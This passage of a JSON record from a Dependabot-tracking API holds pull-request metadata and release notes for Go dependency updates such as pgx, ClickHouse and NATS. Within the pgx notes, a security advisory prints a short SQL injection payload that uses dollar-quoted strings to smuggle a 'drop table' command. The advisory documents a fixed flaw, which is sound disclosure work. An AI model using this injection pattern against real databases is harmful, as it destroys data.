it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/kmarf/90DaysOfDevOps/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/kmarf/90DaysOfDevOps/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/kmarf%2F90DaysOfDevOps/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"},{"uuid":"4347076366","node_id":"PR_kwDOR8mLwc7WiKkU","number":8,"state":"closed","title":"Bump the go-modules group across 1 directory with 12 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-06T00:22:23.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-29T00:21:28.000Z","updated_at":"2026-05-06T00:22:25.000Z","time_to_close":604855,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"go-modules","update_count":12,"packages":[{"name":"github.com/ClickHouse/clickhouse-go/v2","old_version":"2.44.0","new_version":"2.45.0","repository_url":"https://github.com/ClickHouse/clickhouse-go"},{"name":"github.com/jackc/pgx/v5","old_version":"5.9.1","new_version":"5.9.2","repository_url":"https://github.com/jackc/pgx"},{"name":"github.com/minio/minio-go/v7","old_version":"7.0.100","new_version":"7.1.0","repository_url":"https://github.com/minio/minio-go"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.8","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/redis/go-redis/v9","old_version":"9.18.0","new_version":"9.19.0","repository_url":"https://github.com/redis/go-redis"},{"name":"github.com/rs/zerolog","old_version":"1.35.0","new_version":"1.35.1","repository_url":"https://github.com/rs/zerolog"},{"name":"k8s.io/api","old_version":"0.35.0","new_version":"0.36.0","repository_url":"https://github.com/kubernetes/api"},{"name":"k8s.io/client-go","old_version":"0.35.0","new_version":"0.36.0","repository_url":"https://github.com/kubernetes/client-go"},{"name":"modernc.org/sqlite","old_version":"1.48.1","new_version":"1.50.0"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-modules group with 9 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [github.com/ClickHouse/clickhouse-go/v2](https://github.com/ClickHouse/clickhouse-go) | `2.44.0` | `2.45.0` |\n| [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) | `5.9.1` | `5.9.2` |\n| [github.com/minio/minio-go/v7](https://github.com/minio/minio-go) | `7.0.100` | `7.1.0` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.6` | `2.12.8` |\n| [github.com/redis/go-redis/v9](https://github.com/redis/go-redis) | `9.18.0` | `9.19.0` |\n| [github.com/rs/zerolog](https://github.com/rs/zerolog) | `1.35.0` | `1.35.1` |\n| [k8s.io/api](https://github.com/kubernetes/api) | `0.35.0` | `0.36.0` |\n| [k8s.io/client-go](https://github.com/kubernetes/client-go) | `0.35.0` | `0.36.0` |\n| [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) | `1.48.1` | `1.50.0` |\n\n\nUpdates `github.com/ClickHouse/clickhouse-go/v2` from 2.44.0 to 2.45.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/releases\"\u003egithub.com/ClickHouse/clickhouse-go/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.45.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBug Fixes :bug:\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: set req.Host for Host header in HTTP transport by \u003ca href=\"https://github.com/binger-li-dd\"\u003e\u003ccode\u003e@​binger-li-dd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1826\"\u003eClickHouse/clickhouse-go#1826\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther Changes 🛠\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: pass explicity github token for claude review by \u003ca href=\"https://github.com/kavirajk\"\u003e\u003ccode\u003e@​kavirajk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1818\"\u003eClickHouse/clickhouse-go#1818\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/binger-li-dd\"\u003e\u003ccode\u003e@​binger-li-dd\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1826\"\u003eClickHouse/clickhouse-go#1826\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\"\u003ehttps://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/blob/main/CHANGELOG.md\"\u003egithub.com/ClickHouse/clickhouse-go/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003ev2.45.0, 2026-04-13 \u003c!-- raw HTML omitted --\u003e\u003c/h1\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBug Fixes :bug:\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: set req.Host for Host header in HTTP transport by \u003ca href=\"https://github.com/binger-li-dd\"\u003e\u003ccode\u003e@​binger-li-dd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1826\"\u003eClickHouse/clickhouse-go#1826\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther Changes 🛠\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: pass explicity github token for claude review by \u003ca href=\"https://github.com/kavirajk\"\u003e\u003ccode\u003e@​kavirajk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1818\"\u003eClickHouse/clickhouse-go#1818\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/binger-li-dd\"\u003e\u003ccode\u003e@​binger-li-dd\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/pull/1826\"\u003eClickHouse/clickhouse-go#1826\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\"\u003ehttps://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/1422cc5ec4aa145f80908f8f8374c380c90c0545\"\u003e\u003ccode\u003e1422cc5\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/c790ac60c95fd3e45cff5b979bd4577cb6ff2a41\"\u003e\u003ccode\u003ec790ac6\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/issues/1826\"\u003e#1826\u003c/a\u003e from binger-li-dd/fix/host-header-http-transport\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/30d09f0bdd9770fa646f3ce90964677f85132fd5\"\u003e\u003ccode\u003e30d09f0\u003c/code\u003e\u003c/a\u003e fix: set req.Host for Host header in HTTP transport\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/960153b8647b510b5f15e8ead84ba4d395cb2ecd\"\u003e\u003ccode\u003e960153b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/ClickHouse/clickhouse-go/issues/1818\"\u003e#1818\u003c/a\u003e from ClickHouse/kavirajk/fix-code-review-workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ClickHouse/clickhouse-go/commit/f8cbde706f1e475b5506b79c6dd681b8237b1a7b\"\u003e\u003ccode\u003ef8cbde7\u003c/code\u003e\u003c/a\u003e chore: pass explicity github token for claude review\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ClickHouse/clickhouse-go/compare/v2.44.0...v2.45.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/jackc/pgx/v5` from 5.9.1 to 5.9.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jackc/pgx/blob/master/CHANGELOG.md\"\u003egithub.com/jackc/pgx/v5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e5.9.2 (April 18, 2026)\u003c/h1\u003e\n\u003cp\u003eFix SQL Injection via placeholder confusion with dollar quoted string literals (GHSA-j88v-2chj-qfwx)\u003c/p\u003e\n\u003cp\u003eSQL injection can occur when:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe non-default simple protocol is used.\u003c/li\u003e\n\u003cli\u003eA dollar quoted string literal is used in the SQL query.\u003c/li\u003e\n\u003cli\u003eThat query contains text that would be would be interpreted outside as a placeholder outside of a string literal.\u003c/li\u003e\n\u003cli\u003eThe value of that placeholder is controllable by the attacker.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003ee.g.\u003c/p\u003e\n\u003cpre lang=\"go\"\u003e\u003ccode\u003eattackValue := `$tag$; drop table canary; --`\n_, err = tx.Exec(ctx, `select $tag$ $1 $tag$, $1`, pgx.QueryExecModeSimpleProtocol, attackValue)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis is unlikely to occur outside of a contrived scenario.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/0aeabbcf11d859229c1f0b20e710d3596c76bf27\"\u003e\u003ccode\u003e0aeabbc\u003c/code\u003e\u003c/a\u003e Release v5.9.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/60644f84918a8af66d14a4b0d865d4edafd955da\"\u003e\u003ccode\u003e60644f8\u003c/code\u003e\u003c/a\u003e Fix SQL sanitizer bugs with dollar-quoted strings and placeholder overflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/a5680bc945aa7c6ebac2778d859ee7b4ba86db60\"\u003e\u003ccode\u003ea5680bc\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2531\"\u003e#2531\u003c/a\u003e from dolmen-go/godoc-add-links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/e34e4524007062710c6a4fb9c8655b75a486b5cd\"\u003e\u003ccode\u003ee34e452\u003c/code\u003e\u003c/a\u003e doc: Add godoc links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/08c9bb1f0d8fa6cc10ed8c713e68b1baa64dfe2c\"\u003e\u003ccode\u003e08c9bb1\u003c/code\u003e\u003c/a\u003e Fix Stringer types encoded as text instead of numeric value in composite fields\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/96b4dbdfd0458cb425bf8454d292a23978872cc8\"\u003e\u003ccode\u003e96b4dbd\u003c/code\u003e\u003c/a\u003e Remove unstable test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/acf88e0065682e8948696d26fa6438669c4cabee\"\u003e\u003ccode\u003eacf88e0\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2526\"\u003e#2526\u003c/a\u003e from abrightwell/abrightwell-min-proto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/2f81f1fc03bef99593e92c64ad9cac954c00e8e6\"\u003e\u003ccode\u003e2f81f1f\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emax_protocol_version\u003c/code\u003e and \u003ccode\u003emin_protocol_version\u003c/code\u003e defaults\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/jackc/pgx/compare/v5.9.1...v5.9.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/minio/minio-go/v7` from 7.0.100 to 7.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/minio/minio-go/releases\"\u003egithub.com/minio/minio-go/v7's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v7.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGetObjectAttributes: Add missing checksum \u0026amp; type by \u003ca href=\"https://github.com/klauspost\"\u003e\u003ccode\u003e@​klauspost\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2217\"\u003eminio/minio-go#2217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003esupport x-minio-source-time header for getobject / statObject by \u003ca href=\"https://github.com/jiuker\"\u003e\u003ccode\u003e@​jiuker\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2219\"\u003eminio/minio-go#2219\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd new AWS checksums by \u003ca href=\"https://github.com/klauspost\"\u003e\u003ccode\u003e@​klauspost\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2221\"\u003eminio/minio-go#2221\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\"\u003ehttps://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/f29e5687f3234ca088afedc03f4096ea50d4e10b\"\u003e\u003ccode\u003ef29e568\u003c/code\u003e\u003c/a\u003e Add new AWS checksums (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2221\"\u003e#2221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/68e87b1d1e3135495a6e6faed9d40171230c5883\"\u003e\u003ccode\u003e68e87b1\u003c/code\u003e\u003c/a\u003e support x-minio-source-time header for getobject / statObject (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2219\"\u003e#2219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d457cd49a467706fa4789028f0594853f8702523\"\u003e\u003ccode\u003ed457cd4\u003c/code\u003e\u003c/a\u003e GetObjectAttributes: Add missing checksum \u0026amp; type (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2217\"\u003e#2217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.12.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.8\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8030\"\u003e#8030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.43.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8030\"\u003e#8030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8068\"\u003e#8068\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRefactored and simplified setting the pinned headers in consumers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8032\"\u003e#8032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eScanning for the starting sequence for consumers is now an asynchronous operation which no longer pauses the metalayer (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8051\"\u003e#8051\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eReload logic on gateway \u003ccode\u003epinned_certs\u003c/code\u003e configuration has been corrected\u003c/li\u003e\n\u003cli\u003eRepeated \u003ccode\u003eCONNECT\u003c/code\u003e messages on a connection now clear subscriptions\u003c/li\u003e\n\u003cli\u003eJWT claims with validity times that cross midnight are now validated correctly\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e/connz\u003c/code\u003e monitoring endpoint no longer discloses bearer JWTs\u003c/li\u003e\n\u003cli\u003eMonitoring redaction of route and cluster URL secrets when passed in as command line arguments\u003c/li\u003e\n\u003cli\u003eFixed a panic that could occur when negotiating compression on leafnode connections\u003c/li\u003e\n\u003cli\u003eMax control line enforcement for non-clients has been fixed\u003c/li\u003e\n\u003cli\u003eFixed a bug where setting message headers could mutate the input message buffers\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSolicited leafnode connections now send a connect advisory, which was previously missing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8015\"\u003e#8015\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMessage roll-ups are now applied on interest-based streams where there is no interest over the subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8019\"\u003e#8019\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can now catch up from incoming snapshots, correcting an edge case when scaling up (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a Raft commit index reset when terms mismatch (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8023\"\u003e#8023\u003c/a\u003e, contributed by \u003ca href=\"https://github.com/thecitymouse\"\u003e\u003ccode\u003e@​thecitymouse\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePurging via scheduled \u003ccode\u003eNats-Schedule-Next: purge\u003c/code\u003e now errors when message scheduling is not enabled (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8035\"\u003e#8035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRecovering with a legacy zero index Raft snapshot will no longer panic (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8039\"\u003e#8039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMessages with a deduplication \u003ccode\u003eNats-Msg-Id\u003c/code\u003e header are no longer incorrectly deduplicated in mirrors (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8043\"\u003e#8043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a panic when scaling after a stream update when the assignment is not fully populated yet on recovery (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8049\"\u003e#8049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream info and consumer info requests will no longer return not found when the assignments are in-flight (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8054\"\u003e#8054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStreams and consumers now correctly reject path separators in asset names\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e9559e9ae3cd09ed29b157e6f19babb2cd1609e5\"\u003e\u003ccode\u003ee9559e9\u003c/code\u003e\u003c/a\u003e Release v2.12.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/972a686bb5942ddf28df407be7c7ae584f8d29d5\"\u003e\u003ccode\u003e972a686\u003c/code\u003e\u003c/a\u003e Release v2.12.8-RC.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/f17e974e07b1552f032aeca478249cd2cc89dc94\"\u003e\u003ccode\u003ef17e974\u003c/code\u003e\u003c/a\u003e Cherry-picks for v2.12.8-RC.2 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/98\"\u003e#98\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/82b57ae5653112c2b6e6609730a01733e91fa7dd\"\u003e\u003ccode\u003e82b57ae\u003c/code\u003e\u003c/a\u003e [FIXED] c.setHeader mutates input message\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2530117b4a9ee3dec25b8ff5eb460d731985d6f8\"\u003e\u003ccode\u003e2530117\u003c/code\u003e\u003c/a\u003e [FIXED] Max control line for non-clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/dfd2abc927badd253b7a7ea98e8fda6f89d8425d\"\u003e\u003ccode\u003edfd2abc\u003c/code\u003e\u003c/a\u003e [FIXED] retryDisconnectedSyncConsumers properly checks for closed clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/61e8ea84c9086bfc592e3eacfaddfdb312f63d35\"\u003e\u003ccode\u003e61e8ea8\u003c/code\u003e\u003c/a\u003e [IMPROVED] Refactor processInboundSourceMsg for simplicity\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/03c87eadde49cbf07c63827244b2ed282f296967\"\u003e\u003ccode\u003e03c87ea\u003c/code\u003e\u003c/a\u003e [FIXED] Source rolls sequence back on error reset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/83e3d3714ce3240822a8f3bd6e51cbe83458cf65\"\u003e\u003ccode\u003e83e3d37\u003c/code\u003e\u003c/a\u003e [FIXED] Source does not duplicate messages after leaf reconnect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2a0c5c7660d610ff0f34cf2cec79c223fe64b173\"\u003e\u003ccode\u003e2a0c5c7\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.50.0 to 1.51.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.51.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eOption to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to automatically reconnect on write error (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAccessors for JetStream API level and \u003ccode\u003eIsSysAccount\u003c/code\u003e from \u003ccode\u003eServerInfo\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eMake websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eFix deadlock in \u003ccode\u003eConsume()\u003c/code\u003e when calling \u003ccode\u003eStop\u003c/code\u003e/\u003ccode\u003eDrain\u003c/code\u003e from \u003ccode\u003eConsumeErrHandler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix typos in tests. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecation warnings by bumping GH actions to their latest versions. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contibution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2048\"\u003e#2048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCode linting: remove functions min and max. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca 